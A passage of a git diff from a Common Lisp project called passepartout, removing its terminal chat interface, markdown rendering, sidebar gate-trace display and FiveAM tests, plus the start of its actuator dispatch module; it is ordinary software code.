:agent-border)) - (user-bdr (theme-color :user-border)) - (user-fg (theme-color :user-fg)) - (agent-fg (theme-color :agent-fg)) - (system-fg (theme-color :system))) - (case role - (:user - (dolist (l (cl-tty.box:word-wrap cs bordered-w)) - (push (list "│" user-bdr l user-fg) pairs))) - ( :agent - (let* ((streaming (getf msg :streaming)) - (think-rect (if streaming think-bg nil)) - (bdr (if streaming nil agent-bdr)) - (bstr (if streaming nil "│")) - (wrap-w (if streaming unbordered-w bordered-w)) - (nodes (cl-tty.markdown:parse-blocks cs)) - (raw-body (or (and nodes (cl-tty.markdown:render-md nodes)) (list ""))) - (body (mapcan (lambda (l) (cl-tty.box:word-wrap l wrap-w)) raw-body))) - (dolist (l body) - (push (list bstr bdr l agent-fg think-rect) pairs)))) - (t (dolist (l (cl-tty.box:word-wrap cs unbordered-w)) - (push (list nil nil l system-fg) pairs)))) - ;; Gate trace - (let ((gt (getf msg :gate-trace))) - (when (and gt (eq role :agent)) - (if (member i (st :collapsed-gates)) - (push (list "│" sym-bdr (format nil "Gate trace: ~a gates" (length gt)) sym-bdr) pairs) - (dolist (entry (passepartout::gate-trace-lines gt)) - (let ((ec (theme-color (getf (cdr entry) :fgcolor)))) - (dolist (l (cl-tty.box:word-wrap (car entry) bordered-w)) - (push (list "│" sym-bdr l ec) pairs))))))) - ;; Tool calls - (let ((tc (getf msg :tool-calls))) - (when tc - (if (member i (st :collapsed-tools)) - (let* ((n (or (getf (first tc) :name) "tool")) - (d (or (getf (first tc) :duration) 0.0))) - (push (list "│" (theme-color :tool-done) (format nil "~a … ~,1fs" n d) (theme-color :tool-done)) pairs)) - (dolist (call tc) - (let* ((name (or (getf call :name) "tool")) - (dur (or (getf call :duration) 0.0)) - (st (getf call :status)) - (out (getf call :output)) - (bc (theme-color - (cond ((eq st :running) :tool-running) - ((eq st :error) :tool-error) - (t :tool-done)))) - (pfx (cond ((eq st :error) "✗") ((eq st :running) "●") (t "✓"))) - (ol (when out (cl-tty.box:word-wrap out bordered-w)))) - (push (list "│" bc (format nil "~a ~a ~,1fs" pfx name dur) bc) pairs) - (dolist (l ol) - (push (list "│" bc l bc) pairs))))))) - (setf (aref msg-lines i) (nreverse pairs)) - (setf (aref msg-heights i) (length pairs)))) - (let ((msg-count 0) (lines-remaining max-lines)) - (loop for i from (1- total) downto 0 - while (> lines-remaining 0) - do (let ((mh (aref msg-heights i)) - (spacer (if (< i (1- total)) 1 0))) - (if (<= (+ mh spacer) lines-remaining) - (progn (decf lines-remaining (+ mh spacer)) (incf msg-count)) - (setf lines-remaining 0)))) - (let* ((scroll-skip (st :scroll-offset)) - (start (max 0 (- total msg-count scroll-skip)))) - (loop for i from start below total while (< y panel-top) - do (let ((pairs (aref msg-lines i))) - (dolist (pair pairs) - (when (>= y panel-top) (return)) - (destructuring-bind (bstr bcolor tstr tcolor &optional rect-bg) pair - (when rect-bg - (cl-tty.backend:draw-rect fb 0 y 1 1 :bg rect-bg)) - (let ((has-border (and bstr (> (length bstr) 0)))) - (when has-border - (cl-tty.backend:draw-text fb hpad y bstr bcolor nil)) - (cl-tty.backend:draw-text fb (+ hpad (if has-border 2 0)) y tstr tcolor nil))) - (incf y)) - ;; spacer between message blocks - (when (< i (1- total)) - (incf y))))))))) - -(defun view-input (fb w h) - (let* ((w (or (and (numberp w) (> w 0) w) 80)) - (h (or (and (numberp h) (> h 0) h) 24)) - (hpad 2) - (sidebar-w (if (sidebar-visible-p w) (or (st :sidebar-width) 42) 0)) - (chat-w (- w sidebar-w)) - (inner-w (- chat-w (* 2 hpad))) - (prompt-w (- inner-w 2)) - (text (input-string)) - (pos (or (st :cursor-pos) 0)) - (lines (word-wrap text prompt-w)) - (n-lines (max 1 (length lines))) - (panel-rows (max 4 (+ n-lines 2))) - (panel-top (input-panel-top chat-w h)) - (bg-i (theme-color :bg-input)) - (input-fg (theme-color :input-fg)) - (hint-fg (theme-color :hint))) - ;; Fill input panel: panel-top to h-4, indented by hpad - (cl-tty.backend:draw-rect fb hpad panel-top inner-w panel-rows :bg bg-i) - ;; Speaker lines for all input rows - (dotimes (r panel-rows) - (cl-tty.backend:draw-text fb hpad (+ panel-top r) "│" (theme-color :input-prompt) nil)) - ;; Draw each wrapped input line - (let ((accum 0) (cursor-line 0) (cursor-col 0)) - (dotimes (i n-lines) - (let* ((line (nth i lines)) - (row (+ panel-top 1 i)) - (len (length line))) - (when (>= row (- h 4)) (return)) - (cl-tty.backend:draw-text fb (+ hpad 2) row line input-fg nil) - (when (and (>= pos accum) (<= pos (+ accum len))) - (setf cursor-line i - cursor-col (- pos accum))) - (incf accum (1+ len)))) - ;; Hint bar at h-2: F:/MCP: on left, token gauge + keybindings on right - (let* ((focal (or (st :foveal-id) "-")) - (focal-str (format nil "F:~a" focal)) - (mcp-str (format nil "MCP:~d" (or (st :mcp-count) 0))) - (left-str (format nil "~a ~a" focal-str mcp-str)) - (msg-count (max 1 (length (st :messages)))) - (ctx-est (* msg-count 60)) - (ctx-limit 8192) - (ctx-pct (min 100 (floor (* 100 ctx-est) ctx-limit))) - (ctx-tok (if (< ctx-est 1000) - (format nil "~d" ctx-est) - (format nil "~dK" (floor ctx-est 1000)))) - (ctx-str (format nil "~a (~d%%)" ctx-tok ctx-pct)) - (hint-str "ctrl+p | /help") - (ctx-fg (cond ((< ctx-pct 50) (theme-color :tool-done)) - ((< ctx-pct 80) (theme-color :input-prompt)) - (t (theme-color :error)))) - (hint-x (- chat-w (length hint-str) 2)) - (ctx-x (- hint-x 1 (length ctx-str)))) - (cl-tty.backend:draw-text fb hpad (- h 2) left-str hint-fg (theme-color :bg)) - (cl-tty.backend:draw-text fb ctx-x (- h 2) ctx-str ctx-fg (theme-color :bg)) - (cl-tty.backend:draw-text fb hint-x (- h 2) hint-str hint-fg (theme-color :bg)))))) - -(defun view-sidebar (fb w h) - (let* ((w (or (and (numberp w) (> w 0) w) 80)) - (h (or (and (numberp h) (> h 0) h) 24)) - (x (- w (or (st :sidebar-width) 42))) - (bg-panel (theme-color :bg-panel)) - (y 0)) - (cl-tty.backend:draw-rect fb x 0 (- w x) (1- h) :bg bg-panel) - (cl-tty.backend:draw-text fb x (1- h) (make-string (- w x) :initial-element #\Space) nil bg-panel) - ;; Gate Trace — from latest agent message - (cl-tty.backend:draw-text fb (+ x 2) (incf y) "GATE TRACE" (theme-color :accent) bg-panel) - (incf y) - (let* ((msgs (st :messages)) - (last-gt (loop for i from (1- (length msgs)) downto 0 - for m = (aref msgs i) - when (getf m :gate-trace) - return (getf m :gate-trace)))) - (if last-gt - (dolist (g last-gt) - (let* ((name (getf g :gate)) - (result (getf g :result)) - (reason (getf g :reason)) - (glyph (case result (:passed "✓") (:blocked "✗") (:approval "→") (t "?"))) - (color (case result - (:passed (theme-color :tool-done)) - (:blocked (theme-color :error)) - (:approval (theme-color :input-prompt)) - (t (theme-color :dim))))) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) (format nil " ~a ~a" glyph name) color bg-panel) - (when reason - (incf y) - (cl-tty.backend:draw-text fb (+ x 4) (incf y) reason (theme-color :dim) bg-panel)))) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) " (none)" (theme-color :dim) bg-panel)) - (incf y 2)) - ;; Rules + Block Count - (let ((blocked (loop for i below (length (st :messages)) - for m = (aref (st :messages) i) - sum (loop for g in (getf m :gate-trace) - count (eq (getf g :result) :blocked))))) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) "RULES" (theme-color :accent) bg-panel) - (incf y) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) - (format nil " ~d active" (or (st :rule-count) 0)) - (theme-color :agent-fg) bg-panel) - (incf y) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) - (format nil " ~d blocked" blocked) - (if (> blocked 0) (theme-color :error) (theme-color :dim)) bg-panel) - (incf y 2)) - ;; Cost - (cl-tty.backend:draw-text fb (+ x 2) (incf y) "COST" (theme-color :accent) bg-panel) - (incf y) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) - (format nil " $~,2f" (or (st :session-cost) 0.0)) - (theme-color :status-fg) bg-panel) - (incf y 2) - ;; Files (stub) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) "FILES" (theme-color :accent) bg-panel) - (incf y) - (cl-tty.backend:draw-text fb (+ x 2) (incf y) " (not yet)" (theme-color :dim) bg-panel) - (incf y 2) - ;; Version footer - (let* ((ver (or (st :daemon-version) "")) - (ver-label (if (> (length ver) 0) (format nil "passepartout ~a" ver) "passepartout")) - (dot (if (st :connected) "●" "○")) - (dot-color (if (st :connected) (theme-color :dot-connected) (theme-color :dot-disconnected)))) - (cl-tty.backend:draw-text fb (+ x 2) (- h 2) dot dot-color bg-panel) - (cl-tty.backend:draw-text fb (+ x 4) (- h 2) ver-label (theme-color :text-muted) bg-panel)))) - -(defun redraw (fb w h) - (setq w (or (and (numberp w) (> w 0) w) 80) - h (or (and (numberp h) (> h 0) h) 24)) - (when (or (first (st :dirty)) (second (st :dirty)) (third (st :dirty))) - (cl-tty.backend:begin-sync fb) - (cl-tty.backend:draw-rect fb 0 0 w h :bg (theme-color :bg)) - (view-status fb w h) - (view-chat fb w h) - (view-input fb w h) - (when (sidebar-visible-p w) - (view-sidebar fb w h)) - (cl-tty.backend:end-sync fb) - (position-cursor fb w h) - (setf (st :dirty) (list nil nil nil)))) - -(defun position-cursor (fb w h) - "Draw cursor at the input insertion point using reverse video (Emacs-style). - - The character under the cursor is redrawn with foreground and background - swapped. If the cursor is past the end of the input string, a reversed - space is drawn." - (let* ((sw (if (sidebar-visible-p w) (or (st :sidebar-width) 42) 0)) - (cw (- w sw)) - (hpad 2) - (text (input-string)) - (text-len (length text)) - (pos (or (st :cursor-pos) 0)) - (prompt-w (- cw (* 2 hpad) 2)) - (display-start (max 0 (- pos (1- prompt-w)))) - (cx (+ hpad 2 (- pos display-start))) - (cy (- h 6)) - (bg-i (theme-color :bg-input)) - (input-fg (theme-color :input-fg))) - (if (< pos text-len) - (let ((ch (char text pos))) - (cl-tty.backend:draw-text fb cx cy (string ch) bg-i input-fg)) - (cl-tty.backend:draw-text fb cx cy " " bg-i input-fg)) - (finish-output (cl-tty.backend::backend-output-stream fb)))) - -(in-package :passepartout) - -(defun char-width (ch) - "Returns the terminal column width of character CH. -ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8." - (let ((code (char-code ch))) - (cond - ((= code 9) 8) - ((< code 32) 0) - ((<= code 127) 1) - ((<= #x4E00 code #x9FFF) 2) - ((<= #x3400 code #x4DBF) 2) - ((<= #x3040 code #x309F) 2) - ((<= #x30A0 code #x30FF) 2) - ((<= #xAC00 code #xD7AF) 2) - ((<= #xFF01 code #xFF60) 2) - ((<= #xFFE0 code #xFFE6) 2) - ((<= #x1F300 code #x1F9FF) 2) - ((<= #x2600 code #x27BF) 2) - ((<= #x0300 code #x036F) 0) - ((<= #x20D0 code #x20FF) 0) - ((<= #xFE00 code #xFE0F) 0) - (t 1)))) - -(in-package :passepartout) - -(defun parse-markdown-spans (text) - "Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))." - (let ((results nil) (pos 0) (len (length text))) - (labels ((earliest (a b) (cond ((and a (or (null b) (< a b))) a) (b b)))) - (loop - (when (>= pos len) (return)) - (let* ((bold (search "**" text :start2 pos)) - (code (search "`" text :start2 pos)) - (italic (search "*" text :start2 pos)) - (http (search "http://" text :start2 pos)) - (https (search "https://" text :start2 pos)) - (url-s (or https http))) - (flet ((pick (tag delim) - (let ((end (search delim text :start2 (+ pos (length delim))))) - (when end - (push (cons (subseq text (+ pos (length delim)) end) - (case tag (:bold '(:bold t)) - (:code '(:code t :bgcolor :dim)) - (:underline '(:underline t)))) - results) - (setf pos (+ end (length delim))) - t))) - (url-end (start) - (or (position-if (lambda (c) (find c '(#\Space #\Newline #\Tab #\)))) - text :start start) - len))) - (let ((next (earliest (earliest (earliest bold code) italic) url-s))) - (cond ((and bold (eql bold next)) (unless (pick :bold "**") (incf pos 2))) - ((and code (eql code next)) (unless (pick :code "`") (incf pos))) - ((and italic (eql italic next)) (unless (pick :underline "*") (incf pos))) - ((and url-s (eql url-s next)) - (let ((ue (url-end url-s))) - (push (cons (subseq text url-s ue) '(:url t)) results) - (setf pos ue))) - (t (push (cons (subseq text pos) nil) results) (return)))))))) - (nreverse results))) - -(defun render-styled (fb segments y x w) - "Render markdown segments to cl-tty backend. Returns next y." - (declare (ignore w)) - (dolist (seg segments) - (let* ((text (or (car seg) "")) - (attrs (cdr seg)) - (bold (getf attrs :bold)) - (code (getf attrs :code)) - (url (getf attrs :url))) - (declare (ignore code)) - (cl-tty.backend:draw-text fb x y text - (cond (url (passepartout.channel-tui:theme-color :accent)) - (t (passepartout.channel-tui:theme-color (or (getf attrs :role) :agent-fg)))) - (passepartout.channel-tui:theme-color :bg) - :bold bold) - (incf x (length text)))) - y) - -(defun parse-markdown-blocks (text) - "Split text at ``` code block boundaries." - (let ((r nil) (p 0) (l (length text))) - (loop - (when (>= p l) (return)) - (let ((bs (search "```" text :start2 p))) - (unless bs - (push (cons (subseq text p) nil) r) - (return)) - (when (> bs p) - (push (cons (subseq text p bs) nil) r)) - (let* ((ao (+ bs 3)) - (le (or (position #\Newline text :start ao) l)) - (lang (string-trim " \r\n\t" (if (< le l) (subseq text ao le) ""))) - (cs (if (< le l) (1+ le) l)) - (cp (search "```" text :start2 cs)) - (ce (or cp l)) - (content (string-trim "\r\n" (subseq text cs ce)))) - (push (list :code-block t :lang lang :content content) r) - (setf p (if cp (+ cp 3) l))))) - (nreverse r))) - -(defun syntax-highlight (code lang) - "Highlight Lisp code: strings, comments, keywords, function calls." - (declare (ignore lang)) - (let* ((r nil) (p 0) (l (length code)) - (kw '("defun" "defvar" "defparameter" "let" "let*" "lambda" "if" "when" "unless" - "cond" "loop" "dolist" "dotimes" "progn" "prog1" "return" - "setf" "setq" "format" "and" "or" "not" "list" "cons" - "quote" "function" "declare" "ignore" "t" "nil"))) - (flet ((wordp (c) (or (alphanumericp c) (find c "-*+/?!_=<>")))) - (loop - (when (>= p l) (return)) - (let* ((ss (position #\" code :start p)) - (sc (position #\; code :start p)) - (sp (position #\( code :start p)) - (next (min (or ss l) (or sc l) (or sp l)))) - (when (> next p) - (push (cons (subseq code p next) nil) r) - (setf p next)) - (when (>= p l) (return)) - (cond - ((eql p ss) - (let ((e (or (position #\" code :start (1+ p)) l))) - (push (cons (subseq code p (min (1+ e) l)) '(:fgcolor :string)) r) - (setf p (min (1+ e) l)))) - ((eql p sc) - (let ((e (or (position #\Newline code :start p) l))) - (push (cons (subseq code p e) '(:fgcolor :comment)) r) - (setf p e))) - ((eql p sp) - (push (cons "(" nil) r) - (incf p) - (let ((fe (loop for i from p below l for c = (char code i) - while (wordp c) finally (return i)))) - (when (> fe p) - (let ((fs (subseq code p fe))) - (push (cons fs (list :fgcolor (if (member fs kw :test #'string=) - :keyword :function))) r) - (setf p fe))))))))) - (nreverse r))) - -(in-package :passepartout) - -(defun gate-trace-lines (trace) - "Convert gate-trace plist to display lines." - (let ((lines nil)) - (dolist (entry trace) - (let* ((gate (getf entry :gate)) - (result (getf entry :result)) - (reason (getf entry :reason)) - (name (or gate "unknown")) - (color (case result - (:passed :tool-done) - (:blocked :error) - (:approval :accent) - (t :dim))) - (prefix (case result - (:passed " \u2713 ") - (:blocked " \u2717 ") - (:approval " \u2192 ") - (t " ? "))) - (text (format nil "~a~a~@[~a~]~@[~a~]" - prefix name - (when reason (format nil ": ~a" reason)) - (if (eq result :approval) " (HITL required)" "")))) - (push (cons text (list :fgcolor color)) lines))) - (nreverse lines))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-tui-view-tests - (:use :cl :fiveam :passepartout) - (:export #:tui-view-suite)) - -(in-package :passepartout-tui-view-tests) - -(def-suite tui-view-suite :description "TUI view rendering helpers") -(in-suite tui-view-suite) - -(test test-char-width-ascii - "Contract 5: ASCII characters (< 128) have width 1." - (is (= 1 (passepartout::char-width #\a))) - (is (= 1 (passepartout::char-width #\Space))) - (is (= 1 (passepartout::char-width #\@)))) - -(test test-char-width-tab - "Contract 5: tab character has width 8." - (is (= 8 (passepartout::char-width #\Tab)))) - -(test test-char-width-cjk - "Contract 5: CJK characters have width 2." - (is (= 2 (passepartout::char-width #\日)))) - -(test test-char-width-null - "Contract 5: null has width 0." - (is (= 0 (passepartout::char-width #\Nul)))) - -(test test-markdown-bold - "Contract 7: parse-markdown-spans detects **bold**." - (let ((segments (passepartout::parse-markdown-spans "hello **world**!"))) - (is (= 3 (length segments))))) - -(test test-markdown-plain - "Contract 7: plain text returns single segment." - (let ((segments (passepartout::parse-markdown-spans "plain"))) - (is (= 1 (length segments))) - (is (string= "plain" (caar segments))))) - -(test test-markdown-url - "Contract 7: parse-markdown-spans detects URLs." - (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more"))) - (is (>= (length segments) 2)) - (is (find t segments :key (lambda (s) (getf (cdr s) :url)))))) - -(test test-markdown-blocks - "Contract 8: parse-markdown-blocks detects code blocks." - (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after")) - (segs (passepartout::parse-markdown-blocks text))) - (is (= 3 (length segs))) - (let ((code (second segs))) - (is (eq t (getf code :code-block))) - (is (string= "lisp" (getf code :lang))) - (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content))))))) - -(test test-markdown-blocks-no-close - "Contract 8: unclosed code block returns content." - (let* ((text (format nil "```~%unclosed code")) - (segs (passepartout::parse-markdown-blocks text))) - (is (= 1 (length segs))) - (is (eq t (getf (first segs) :code-block))))) - -(test test-syntax-highlight - "Contract 9: syntax-highlight colors Lisp code." - (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp"))) - (is (>= (length segs) 3)))) - -(test test-syntax-highlight-keyword - "Contract 9: syntax-highlight colors keywords." - (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp"))) - (is (>= (length segs) 2)) - (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) - -(test test-syntax-highlight-function - "Contract 9: syntax-highlight colors function calls." - (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp"))) - (is (>= (length segs) 2)) - (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) - -(test test-gate-trace-lines-passed - "Contract 9: gate-trace-lines for passed gate." - (let ((lines (passepartout::gate-trace-lines - '((:gate "path" :result :passed))))) - (is (= 1 (length lines))) - (is (eq :tool-done (getf (cdar lines) :fgcolor))))) - -(test test-gate-trace-lines-blocked - "Contract 9: gate-trace-lines for blocked gate." - (let ((lines (passepartout::gate-trace-lines - '((:gate "shell" :result :blocked :reason "rm"))))) - (is (= 1 (length lines))) - (is (search "rm" (caar lines))))) - -(test test-gate-trace-lines-approval - "Contract 9: gate-trace-lines for approval gate." - (let ((lines (passepartout::gate-trace-lines - '((:gate "network" :result :approval))))) - (is (= 1 (length lines))) - (is (search "HITL" (caar lines))))) - -(test test-init-state-has-collapsed-gates - "Contract v0.7.2: init-state includes :collapsed-gates field." - (passepartout.channel-tui::init-state) - (let ((cg (passepartout.channel-tui::st :collapsed-gates))) - (is (null cg)))) - -(test test-sidebar-state - "Contract v0.8.0: init-state includes :sidebar-mode (:auto) and :sidebar-width (42)." - (passepartout.channel-tui::init-state) - (is (eq :auto (passepartout.channel-tui::st :sidebar-mode))) - (is (= 42 (passepartout.channel-tui::st :sidebar-width)))) - -(defun sidebar-visible-p (w) - "Compute whether sidebar should be shown given terminal width W -and current sidebar mode." - (let ((mode (passepartout.channel-tui::st :sidebar-mode))) - (or (eq mode :visible) - (and (eq mode :auto) (> w 120))))) - -(test test-sidebar-auto-wide - "Contract v0.8.0: sidebar auto-shows when terminal > 120 cols." - (passepartout.channel-tui::init-state) - (setf (passepartout.channel-tui::st :sidebar-mode) :auto) - (is (sidebar-visible-p 140)) - (is (not (sidebar-visible-p 100)))) - -(test test-sidebar-visible-mode - "Contract v0.8.0: :visible mode shows sidebar regardless of width." - (passepartout.channel-tui::init-state) - (setf (passepartout.channel-tui::st :sidebar-mode) :visible) - (is (sidebar-visible-p 40)) - (is (sidebar-visible-p 140))) - -(test test-sidebar-hidden-mode - "Contract v0.8.0: :hidden mode hides sidebar regardless of width." - (passepartout.channel-tui::init-state) - (setf (passepartout.channel-tui::st :sidebar-mode) :hidden) - (is (not (sidebar-visible-p 140))) - (is (not (sidebar-visible-p 40)))) - -(test test-status-bar-tokens - "v0.9.0: status bar uses :status-fg and :status-bg theme tokens." - (is (getf passepartout.channel-tui::*tui-theme* :status-fg)) - (is (getf passepartout.channel-tui::*tui-theme* :status-bg))) - -(test test-new-theme-keys - "v0.10.0: theme has all zone keys." - (is (getf passepartout.channel-tui::*tui-theme* :bg)) - (is (getf passepartout.channel-tui::*tui-theme* :bg-panel)) - (is (getf passepartout.channel-tui::*tui-theme* :bg-element)) - (is (getf passepartout.channel-tui::*tui-theme* :bg-input)) - (is (getf passepartout.channel-tui::*tui-theme* :agent-border)) - (is (getf passepartout.channel-tui::*tui-theme* :thinking-bg)) - (is (getf passepartout.channel-tui::*tui-theme* :symbolic-border)) - (is (getf passepartout.channel-tui::*tui-theme* :text-muted))) diff --git a/lisp/channel-tui.lisp b/lisp/channel-tui.lisp deleted file mode 100644 index c9fecd0..0000000 --- a/lisp/channel-tui.lisp +++ /dev/null @@ -1,163 +0,0 @@ -(in-package :cl-user) - -(ql:quickload :cl-tty :silent t) -(ql:quickload :passepartout :silent t) -(ql:quickload :usocket :silent t) -(ql:quickload :bordeaux-threads :silent t) - -(defpackage :passepartout.tui - (:use :cl :cl-tty.backend :cl-tty.input :cl-tty.rendering :cl-tty.layout) - (:export #:tui-main)) -(in-package :passepartout.tui) - -(defvar *messages* (make-array 0 :fill-pointer 0 :adjustable t)) -(defvar *daemon-stream* nil) -(defvar *event-queue* nil) -(defvar *event-lock* (bt:make-lock "tui-event")) -(defvar *streaming-text* nil) -(defvar *input-buf* nil) -(defvar *cursor-pos* 0) -(defvar *connected* nil) -(defvar *running* t) - -;; Input -(defun input-insert-char (ch) - (let ((pos *cursor-pos*)) - (setf *input-buf* (concatenate 'list (subseq *input-buf* 0 pos) (list ch) - (subseq *input-buf* pos))) - (incf *cursor-pos*))) - -(defun input-delete-char () - (when (and *input-buf* (> *cursor-pos* 0)) - (setf *input-buf* (nconc (subseq *input-buf* 0 (1- *cursor-pos*)) - (subseq *input-buf* *cursor-pos*))) - (decf *cursor-pos*))) - -(defun input-string () (coerce (reverse *input-buf*) 'string)) - -(defun input-submit () - (let ((text (string-trim '(#\Space) (input-string)))) - (when (> (length text) 0) - (vector-push-extend (list :role :user :content text) *messages*) - (send-daemon `(:type :event :payload (:sensor :user-input :text ,text))) - (setf *input-buf* nil *cursor-pos* 0)))) - -;; Daemon -(defun send-daemon (msg) - (let ((s *daemon-stream*)) - (when (and s (open-stream-p s)) - (handler-case - (let ((str (prin1-to-string msg))) - (format s "~6,'0X~A" (length str) str) - (finish-output s)) - (error () nil))))) - -(defun connect-daemon (&optional (host "127.0.0.1") (port 9105)) - (handler-case - (let ((s (usocket:socket-connect host port :timeout 5))) - (setf *daemon-stream* (usocket:socket-stream s) *connected* t) - (bt:make-thread (lambda () (reader-loop)) :name "tui-reader") - (vector-push-extend '(:role :system :content "* Connected *") *messages*)) - (error (c) - (vector-push-extend (list :role :system :content - (format nil "* Connection failed: ~A *" c)) - *messages*)))) - -(defun reader-loop () - (loop while *running* - for msg = (handler-case - (let* ((hdr (make-string 6)) (n 0)) - (loop while (< n 6) - do (let ((ch (read-char *daemon-stream* nil))) - (unless ch (return-from reader-loop nil)) - (setf (char hdr n) ch) (incf n))) - (let* ((len (parse-integer hdr :radix 16 :junk-allowed t)) - (buf (make-string (or len 0)))) - (when (and len (> len 0)) - (loop for i from 0 below len - do (let ((ch (read-char *daemon-stream* nil))) - (unless ch (return-from reader-loop nil)) - (setf (char buf i) ch))) - (let ((*read-eval* nil)) (read-from-string buf))))) - (error () nil)) - if msg do (bt:with-lock-held (*event-lock*) (push msg *event-queue*)) - else do (sleep 0.5))) - -;; Render -(defun render-frame (fb w h) - (backend-clear fb) - (let ((fg (if *connected* "#00FF00" "#FF4444"))) - (draw-text fb 1 1 - (format nil " Passepartout ~a [CHAT] msgs:~d" - (if *connected* "● Connected" "○ Disconnected") - (length *messages*)) - fg nil) - (draw-text fb 1 2 " Ctrl+P: palette Ctrl+Q: quit /help: help" "#888888" nil)) - (let ((y 4)) - (loop for i from (1- (length *messages*)) downto 0 - for msg = (aref *messages* i) - do (let* ((role (getf msg :role)) - (content (getf msg :content)) - (fg (case role (:user "#00FF00") (:agent "#FFFFFF") - (:system "#FFFF00") (t "#888888"))) - (pfx (case role (:user "> ") (:agent " ") (:system "* ") (t " "))))) - (draw-text fb 1 y (concatenate 'string pfx content) fg nil) - (incf y)) - (when (> y (- h 3)) (loop-finish)))) - (draw-text fb 1 (- h 1) (concatenate 'string "> " (input-string)) "#FFFFFF" "#0F3460")) - -;; Event loop -(defun tui-main () - (setf *running* t *messages* (make-array 0 :fill-pointer 0 :adjustable t)) - (connect-daemon) - (with-raw-terminal - (with-terminal (be w h) - (let ((prev-fb (make-framebuffer w h)) - (curr-fb (make-framebuffer w h))) - (loop while *running* do - (bt:with-lock-held (*event-lock*) - (dolist (msg (nreverse *event-queue*)) - (let* ((payload (getf msg :payload)) (text (getf payload :text)) - (type (getf msg :type))) - (cond - ((and (eq type :stream-chunk) text (not (string= text ""))) - (if *streaming-text* - (setf *streaming-text* (concatenate 'string *streaming-text* text)) - (setf *streaming-text* text - *messages* (let ((v (make-array (1+ (length *messages*)) - :fill-pointer (1+ (length *messages*)) - :adjustable t))) - (loop for i below (length *messages*) - do (setf (aref v i) (aref *messages* i))) - (setf (aref v (length *messages*)) - (list :role :thinking :content text)) - v)))) - ((and (eq type :stream-chunk) (string= text "")) - (setf *streaming-text* nil)) - (text - (vector-push-extend (list :role :agent :content text) *messages*))))) - (setf *event-queue* nil)) - (multiple-value-bind (type data) (read-event be :timeout 0) - (declare (ignore type)) - (when (key-event-p data) - (let ((k (key-event-key data))) - (cond - ((eq k :escape) (when *streaming-text* (setf *streaming-text* nil))) - ((eq k :enter) (input-submit)) - ((eq k :backspace) (input-delete-char)) - ((eq k :left) (when (> *cursor-pos* 0) (decf *cursor-pos*))) - ((eq k :right) (when (< *cursor-pos* (length *input-buf*)) - (incf *cursor-pos*))) - ((eq k :ctrl-u) (setf *input-buf* nil *cursor-pos* 0)) - ((eq k :ctrl-a) (setf *cursor-pos* 0)) - ((eq k :ctrl-e) (setf *cursor-pos* (length *input-buf*))) - ((eq k :ctrl-d) (when (null *input-buf*) (setf *running* nil))) - ((eq k :ctrl-q) (setf *running* nil)) - (t (let ((chr (when (keywordp k) - (let ((s (string k))) - (when (= (length s) 1) (char-downcase (char s 0))))))) - (when chr (input-insert-char chr)))))))) - (render-frame curr-fb w h) - (flush-framebuffer prev-fb curr-fb be) - (rotatef prev-fb curr-fb) - (sleep 0.05)))))) diff --git a/lisp/core-act.lisp b/lisp/core-act.lisp deleted file mode 100644 index 6aa2eb4..0000000 --- a/lisp/core-act.lisp +++ /dev/null @@ -1,371 +0,0 @@ -(in-package :passepartout) - -(defvar *actuator-default* :cli - "The actuator used when no explicit target is specified.") - -(defvar *actuator-silent* '(:cli :system-message :emacs) - "List of actuators that don't generate tool-output feedback.") - -(defun actuator-initialize () - "Register core actuators and load configuration." - (let ((def (uiop:getenv "DEFAULT_ACTUATOR")) - (silent (uiop:getenv "SILENT_ACTUATORS"))) - (when def - (setf *actuator-default* (intern (string-upcase def) :keyword))) - (when silent - (setf *actuator-silent* - (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) :keyword)) - (uiop:split-string silent :separator '(#\,)))))) - - (register-actuator :system #'action-system-execute) - (register-actuator :tool #'action-tool-execute) - - (register-actuator :tui (lambda (action context) - (declare (ignore context)) - (let* ((meta (getf action :meta)) - (stream (getf meta :reply-stream))) - (when (and stream (open-stream-p stream)) - ;; Enrich response with differentiator visualization data - (setf (getf (getf action :payload) :rule-count) - (if (boundp '*hitl-pending*) - (hash-table-count *hitl-pending*) - 0)) - (setf (getf (getf action :payload) :foveal-id) - (getf context :foveal-id)) - ;; v0.8.0: sidebar enrichment via fboundp guards - (when (fboundp 'dispatcher-block-counts-summary) - (setf (getf (getf action :payload) :block-counts) - (dispatcher-block-counts-summary))) - (when (fboundp 'context-usage-percentage) - (setf (getf (getf action :payload) :context-usage) - (context-usage-percentage))) - (when (fboundp 'tool-modified-files-summary) - (setf (getf (getf action :payload) :modified-files) - (tool-modified-files-summary))) - (when (fboundp 'cost-session-summary) - (setf (getf (getf action :payload) :session-cost) - (cost-session-summary))) - (format stream "~a" (frame-message action)) - (finish-output stream)))))) - -(defun action-dispatch (action context) - "Route an approved action to its registered actuator." - (let ((payload (proto-get action :payload))) - (when (eq (proto-get payload :sensor) :heartbeat) - (return-from action-dispatch nil)) - - (when (and action (listp action)) - (let* ((meta (proto-get context :meta)) - (source (proto-get meta :source)) - (raw-target (or (proto-get action :target) source *actuator-default*)) - (target (intern (string-upcase (string raw-target)) :keyword)) - ;; If target is :SYSTEM and we have a live reply-stream, route to :TUI instead - (actual-target (if (and (eq target :system) - (getf meta :reply-stream) - (ignore-errors (open-stream-p (getf meta :reply-stream)))) - :tui - target)) - (actuator-fn (gethash actual-target *actuator-registry*))) - (when (and meta (null (getf action :meta))) - (setf (getf action :meta) meta)) - (if actuator-fn - (funcall actuator-fn action context) - (log-message "ACT ERROR: No actuator 